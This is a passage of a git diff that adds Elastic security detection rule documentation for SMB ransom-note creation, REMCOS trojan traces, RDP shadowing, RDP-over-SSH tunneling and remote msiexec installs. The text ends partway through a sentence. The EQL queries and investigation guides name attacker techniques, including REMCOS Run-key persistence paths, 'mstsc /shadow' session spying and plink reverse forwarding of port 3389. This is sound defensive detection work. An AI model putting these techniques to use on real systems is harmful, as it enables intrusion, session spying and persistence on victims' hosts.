License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +- This rule may cause medium to high performance impact due to logic scoping all icoming SMB network events. + + +*Possible investigation steps* + + +- Investigate the source.ip address connecting to port 445 on this host. +- Identify the user account that performed the file creation via SMB. +- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Remote file creation with similar file naming convention via SMB. + + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 +- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [network where host.os.type == "windows" and + event.action == "connection_accepted" and destination.port == 445 and source.port >= 49152 and process.pid == 4 and + source.ip != "127.0.0.1" and source.ip != "::1" and + network.type == "ipv4" and not endswith(source.address, destination.address)] + [file where host.os.type == "windows" and event.action == "creation" and + process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and file.extension : ("hta", "txt", "readme", "htm*") and + file.path : "C:\\Users\\*" and + /* ransom file name keywords */ + file.name : ("*read*me*", "*lock*", "*@*", "*RECOVER*", "*decrypt*", "*restore*file*", "*FILES_BACK*", "*how*to*")] with runs=3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remcos-trojan-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remcos-trojan-execution.asciidoc new file mode 100644 index 0000000000..5c28125e98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remcos-trojan-execution.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-potential-remcos-trojan-execution]] +=== Potential REMCOS Trojan Execution + +Identifies known file and registry traces of the REMCOS Remote Access Trojan, including log files, persistence values, and cleanup artifacts. Adversaries use Remcos to maintain persistent remote access to compromised hosts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/remcos +* https://attack.mitre.org/software/S0332/ +* https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential REMCOS Trojan Execution* + + + +*Possible investigation steps* + + +- Which Remcos-related artifact family matched, and does it indicate install, persistence, or cleanup evidence? + - Focus: `event.category` plus the matched `file.path`, `registry.path`, `registry.value`, `registry.data.strings`, and whether the trace's user profile or hive scope matches `user.id`. + - Implication: "logs.dat" indicates active or recent keystroke/clipboard logging; a Run-key or licence registry path indicates persistence is set; a temp-file deletion indicates installer cleanup. The artifact's user profile or hive scope identifies which account is compromised. + +- Which process or user touched the Remcos trace, and does that writer fit detonation, remediation, or malware execution? + - Focus: the recovered writer identity and launch context, especially `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, and `user.id`. + - Hint: if the source event lacks process identity, recover the writer via `process.entity_id` or `process.pid` plus a tight time window on the same `host.id`. + - Implication: if the writer is an unknown binary on a non-lab host, treat it as the Remcos payload or its installer. If the writer is a known sandbox, detonation engine, or IR cleanup tool on a designated lab host, the trace is expected. + +- What payload or persistence target do adjacent file and registry events resolve to? + - Focus: file and registry events on the same `host.id`: `file.path`, `file.Ext.original.path`, `registry.path`, `registry.data.strings`, and any payload or autorun target tied to `process.entity_id`. + - Implication: a surviving Run-key target, startup copy, or staged binary under `%APPDATA%` or `%TEMP%` confirms the infection has active persistence and the payload is still present. Bounded removal of those artifacts without a surviving payload indicates cleanup is underway but verify that ALL persistence mechanisms are gone, not just the ones visible in the alert. + +- Is there active outbound C2 or proxy traffic on this host? + - Focus: host-scoped network events around the alert time, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port` for connections to rare public destinations, direct-IP egress, dynamic-DNS infrastructure, or unusual ports consistent with Remcos controller or SOCKS proxy use. + - Implication: active C2 traffic confirms the infection is live and requires immediate containment; absence of C2 traffic may indicate the payload was already removed or has not yet activated. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts that explain precursor compromise or follow-on access? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify delivery, persistence, credential, command-and-control, or lateral-movement activity. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the host or user shows delivery, credential theft, or follow-on remote-access alerts after the artifact; keep the case narrower when related activity is absent or resolves to one detonation or remediation workflow. + +- Escalate when the artifact, writer, persistence status, C2 activity, or alert scope align with active Remcos execution; close only when all evidence fits a recognized detonation or remediation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Malware-analysis or detonation hosts can legitimately create Remcos traces. Confirm it when the writer identity, `host.id`, and any network activity all stay inside a known lab or sandbox environment. If lab records are unavailable, require the same writer and `host.id` to recur across prior alerts. +- Incident-response cleanup can remove Remcos artifacts. Confirm it when the writer matches a known cleanup tool, surrounding events show bounded removal, and no new C2 or lateral-movement activity follows. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed writer, `host.id`, and artifact family that justified the closure. Create an exception only if that same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the matched `file.path` or `registry.path`, `registry.data.strings`, recovered `process.entity_id`, writer executable and parent context. Apply the least disruptive reversible containment that matches the findings, starting with outbound restrictions on confirmed destinations and using host isolation only when active command-and-control or lateral movement is still plausible for that asset. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, use endpoint response to isolate the host after weighing host criticality and record the `process.entity_id`, command line, parent chain, and trace paths. If direct endpoint response is unavailable, escalate with that evidence set to the team that can contain the host and implicated accounts. +- Before eradicating or reimaging, review other hosts and users for the same writer identity, artifact family, or C2 destinations so scoping is complete. For confirmed infections, consider reimaging over manual cleanup -- Remcos can establish multiple persistence mechanisms and manual eradication risks missing one. If reimaging is not feasible, eradicate all identified Remcos artifacts including Run keys, licence-related registry paths, staged binaries, "logs.dat", and linked temp artifacts, then verify no alternate persistence survives. +- Post-incident hardening: review how the payload reached the host, restrict user-writable persistence paths where practical, and retain registry and network telemetry for Remcos-related activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "file" and event.type == "deletion" and file.path like "?:\\Users\\*\\AppData\\Local\\Temp\\TH????.tmp") or + + (event.category == "file" and file.path : "?:\\Users\\*\\AppData\\Roaming\\remcos\\logs.dat") or + + (event.category == "registry" and + registry.value : ("Remcos", "Rmc-??????", "licence") and + registry.path : ( + "*\\Windows\\CurrentVersion\\Run\\Remcos", + "*\\Windows\\CurrentVersion\\Run\\Rmc-??????", + "*\\SOFTWARE\\Remcos-*\\licence", + "*\\Software\\Rmc-??????\\licence" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-shadowing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-shadowing-activity.asciidoc new file mode 100644 index 0000000000..9080cc3e92 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-shadowing-activity.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-potential-remote-desktop-shadowing-activity]] +=== Potential Remote Desktop Shadowing Activity + +Identifies the modification of the Remote Desktop Protocol (RDP) Shadow registry or the execution of processes indicative of an active RDP shadowing session. An adversary may abuse the RDP Shadowing feature to spy on or control other users active RDP sessions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing +* https://swarm.ptsecurity.com/remote-desktop-services-shadowing/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote Desktop Shadowing Activity* + + +Remote Desktop Shadowing allows administrators to view or control active RDP sessions, aiding in support and troubleshooting. However, adversaries can exploit this feature to monitor or hijack user sessions without consent. The detection rule identifies suspicious modifications to RDP Shadow registry settings and the execution of specific processes linked to shadowing, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the registry event details to confirm if there was a modification to the RDP Shadow registry path, specifically checking for changes in "HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow". +- Investigate the process events to identify if "RdpSaUacHelper.exe" or "RdpSaProxy.exe" were started by "svchost.exe", which could indicate unauthorized shadowing activity. +- Check for any instances of "mstsc.exe" being executed with the "/shadow:*" argument, as this could signify an attempt to shadow an RDP session. +- Correlate the identified processes and registry changes with user activity logs to determine if the actions were authorized or expected as part of legitimate administrative tasks. +- Analyze network logs for any unusual remote connections or lateral movement patterns that coincide with the timing of the detected shadowing activity. +- Consult endpoint security solutions like Microsoft Defender for Endpoint or SentinelOne for additional context or alerts related to the same host or user account involved in the shadowing activity. + + +*False positive analysis* + + +- Legitimate administrative activities may trigger alerts when IT staff use RDP Shadowing for support. To manage this, create exceptions for known IT administrator accounts or specific IP addresses. +- Scheduled maintenance or automated scripts that modify RDP Shadow registry settings can be mistaken for malicious activity. Identify and exclude these processes or scripts from the detection rule. +- Security software or monitoring tools that interact with RDP sessions might mimic shadowing behavior. Verify these tools and whitelist their processes to prevent false alerts. +- Training sessions or remote support tools that use RDP Shadowing features can generate alerts. Document and exclude these activities by identifying their unique process names or arguments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, such as RdpSaUacHelper.exe, RdpSaProxy.exe, or mstsc.exe with shadowing arguments, to stop potential session hijacking. +- Revert any unauthorized changes to the RDP Shadow registry settings to their default or secure state to prevent further exploitation. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized changes have been made, and reset passwords for any compromised accounts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for RDP activities across the network to detect and respond to similar threats more quickly in the future. +- Review and update RDP access policies and configurations to ensure they align with best practices, such as enforcing multi-factor authentication and limiting RDP access to only necessary users and systems. + +==== Rule query + + +[source, js] +---------------------------------- +/* Identifies the modification of RDP Shadow registry or + the execution of processes indicative of active shadow RDP session */ + +any where host.os.type == "windows" and +( + (event.category == "registry" and event.type == "change" and + registry.value : "Shadow" and + registry.path : ( + "*\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\Shadow" + ) and + registry.data.strings : ("1", "0x00000001", "2", "0x00000002", "3", "0x00000003", "4", "0x00000004") + + ) or + (event.category == "process" and event.type == "start" and + (process.name : ("RdpSaUacHelper.exe", "RdpSaProxy.exe") and process.parent.name : "svchost.exe") or + (?process.pe.original_file_name : "mstsc.exe" and process.args : "/shadow:*") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: RDP Hijacking +** ID: T1563.002 +** Reference URL: https://attack.mitre.org/techniques/T1563/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-tunneling-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-tunneling-detected.asciidoc new file mode 100644 index 0000000000..5dbe8ec16b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-desktop-tunneling-detected.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-potential-remote-desktop-tunneling-detected]] +=== Potential Remote Desktop Tunneling Detected + +Identifies potential use of an SSH utility to establish RDP over an SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Desktop Tunneling Detected* + + + +*Possible investigation steps* + + +- Does the command line describe local or reverse forwarding of RDP, and who is being exposed through it? + - Why: tunnel direction changes the risk. "-L" accesses a remote RDP service through the tunnel (common admin pattern); "-R" exposes a host's RDP service outward through an attacker-controlled SSH server (the classic plink reverse-tunnel attack pattern). + - Focus: `process.command_line` and `process.executable`, checking whether the flag is "-L" (local) or "-R" (reverse), which host and port 3389 are forwarded, and whether inline credentials ("-pw") or saved sessions ("-load") are present. Many SSH clients ship unsigned, so use `process.Ext.relative_file_creation_time` to distinguish long-installed tools from recently dropped ones. + - Implication: "-R" (reverse forward) exposes an internal RDP service outward through the SSH server and is the higher-risk direction; "-L" (local forward) accesses a remote RDP service through the tunnel and is common in admin jump-host workflows. Both directions are common. Concern rises further when inline credentials are embedded, the remote endpoint is obscured behind a wrapper, or the binary is renamed, portable, or recently dropped. + +- Do surrounding artifacts show the operator seeded trust or tried to keep the tunnel reusable? + - Why: persistent tunnels are often paired with host-key trust, saved configuration, or scheduled relaunch so the tunnel can start non-interactively and survive user interruption. + - Focus: for OpenSSH clients, check `file.path` for recent changes to `~/.ssh/known_hosts`, `~/.ssh/config`, or `~/.ssh/authorized_keys`, and surrounding `process.command_line` for "schtasks.exe", "at.exe", or scripted relaunches. For PuTTY/plink, check `registry.path` and `registry.data.strings` for "SshHostKeys", "Sessions", or "-load" session reuse. + - Implication: more concerning when new host-key entries, saved configurations, or scheduled relaunch activity appear just before or after the tunnel start; more explainable when the trust cache and relaunch method already belong to an established workflow with no new persistence changes. + +- Does network telemetry show an SSH session to a destination that fits the expected workflow? + - Focus: the SSH destination is already in `process.args` from the alert. Use the network transform to confirm the connection succeeded and to check `destination.as.organization.name` for ownership context, especially for reverse forwards to external servers. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the command line already names an internal hostname you can verify, the network transform is optional. It adds the most value when the destination is an IP literal or an unfamiliar external host. + - Implication: supports concern when the process reaches a rare external destination, an unexpected SSH port, or infrastructure with no recognizable ownership; less concerning when the destination, port, and domain pattern fit a known bastion or jump host. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts or repeated tunneling activity? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours, looking for delivery, persistence, credential access, or other remote-access activity around the tunnel event. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: supports concern when the host or user shows delivery, credential theft, or follow-on remote-access alerts; keeps the case locally bounded when alert history stays tied to one recognized admin workflow. + +- Escalate when tunnel direction, binary context, persistence artifacts, network destination, or alert scope align on unauthorized RDP exposure or SSH tunneling; close only when all evidence fits a recognized administration workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Bastion or jump-host tunneling can legitimately trigger this rule. Confirm it when `process.executable`, `process.parent.executable`, the forwarding direction and target in `process.args`, and the `user.id`/`host.id` pairing all align with one recognized admin workflow. If records are unavailable, require the same binary path, parent, and tunnel pattern to recur across prior alerts. +- Before creating an exception, build on the forwarding target in `process.command_line` (e.g., the specific host and port being tunneled) combined with `process.executable`, `user.id`, and `host.id`. Most SSH clients triggering this rule are unsigned, so `process.code_signature.subject_name` is usually empty and `process.hash.sha256` changes with updates. Avoid exceptions on port 3389, `process.name`, or SSH switches alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary destination blocks or process suspension and document the evidence that proved the workflow, including `process.hash.sha256`, `process.parent.executable`, `process.command_line`, `destination.ip` or `dns.question.name`, any linked `source.ip`, and the bounded `user.id` and `host.id` scope. Create an exception only if that same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the full `process.command_line`, the alert's `process.entity_id`, `process.hash.sha256`, signer details, `destination.ip`, `dns.question.name`, linked `winlog.event_data.TargetLogonId` and `source.ip`, and any trust-seeding or relaunch artifacts (OpenSSH config files or PuTTY registry entries). Apply reversible containment first, such as blocking the SSH destination, suspending the tunneling process, or restricting the affected account. Escalate to host isolation only if the host role can tolerate it and the session or related-alert evidence suggests active abuse. +- If confirmed malicious, use endpoint response to isolate the host and terminate or suspend the tunneling process after recording `process.entity_id`, the parent chain, destination indicators, linked logon details, and any scheduled task, service, script, or registry artifacts that relaunch the tunnel. If direct endpoint response is unavailable, escalate with that artifact set to the team that can contain the host or account. +- Before deleting artifacts or resetting accounts, review other hosts and users for the same destination pattern, launcher lineage, or scheduled relaunch method so scoping is complete. Then remove the scheduled task, service, script, registry entries, and SSH client artifacts that sustained the tunnel, review any RDP-reachable systems for follow-on access, and reset credentials where the session review shows likely exposure or misuse. +- Post-incident hardening: restrict which hosts and accounts can run SSH tunneling tools, limit outbound SSH to recognized bastions, and retain process, file, and registry telemetry for SSH client activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* RDP port with SSH local or reverse port-forwarding flags */ + process.args : "*:3389" and process.args : ("-L", "-R") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-file-execution-via-msiexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-file-execution-via-msiexec.asciidoc new file mode 100644 index 0000000000..a2d15a6ec8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-remote-file-execution-via-msiexec.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-potential-remote-file-execution-via-msiexec]] +=== Potential Remote File Execution via MSIEXEC + +Identifies the execution of the built-in Windows Installer, msiexec.exe, to install a remote package. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote File Execution via MSIEXEC* + + +MSIEXEC, the Windows Installer, facilitates software installation, modification, and removal. Adversaries exploit it to execute remote MSI files, bypassing security controls. The detection rule identifies suspicious MSIEXEC activity by monitoring process starts, network connections, and child processes, filtering out known benign signatures and paths, thus highlighting potential misuse for initial access or defense evasion. + + +*Possible investigation steps* + + +- Review the process start event for msiexec.exe to identify the command-line arguments used, focusing on the presence of the "/V" flag, which indicates a remote installation attempt. +- Examine the network connection attempts associated with msiexec.exe to determine the remote IP addresses or domains being contacted, and assess their reputation or any known associations with malicious activity. +- Investigate the child processes spawned by msiexec.exe, especially those not matching known benign executables or paths, to identify any suspicious or unexpected activity. +- Check the user ID associated with the msiexec.exe process to verify if it aligns with expected user behavior or if it indicates potential compromise, especially focusing on user IDs like "S-1-5-21-*" or "S-1-5-12-1-*". +- Analyze the code signature of any child processes to ensure they are trusted and expected, paying particular attention to any unsigned or untrusted executables. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user, as the MITRE ATT&CK technique T1566 (Phishing) is associated with this rule. + + +*False positive analysis* + + +- Legitimate software installations using msiexec.exe may trigger the rule. To manage this, create exceptions for known software update processes that use msiexec.exe with trusted code signatures. +- System maintenance tasks that involve msiexec.exe, such as Windows updates or system repairs, can be excluded by identifying and allowing specific system paths and executables involved in these processes. +- Enterprise software deployment tools that utilize msiexec.exe for remote installations might cause false positives. Exclude these by verifying the code signature and adding exceptions for trusted deployment tools. +- Administrative scripts or automation tools that invoke msiexec.exe for legitimate purposes should be reviewed and, if verified as safe, excluded based on their execution context and code signature. +- Network monitoring tools or security software that simulate msiexec.exe activity for testing or monitoring purposes can be excluded by identifying their specific signatures and paths. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. This can 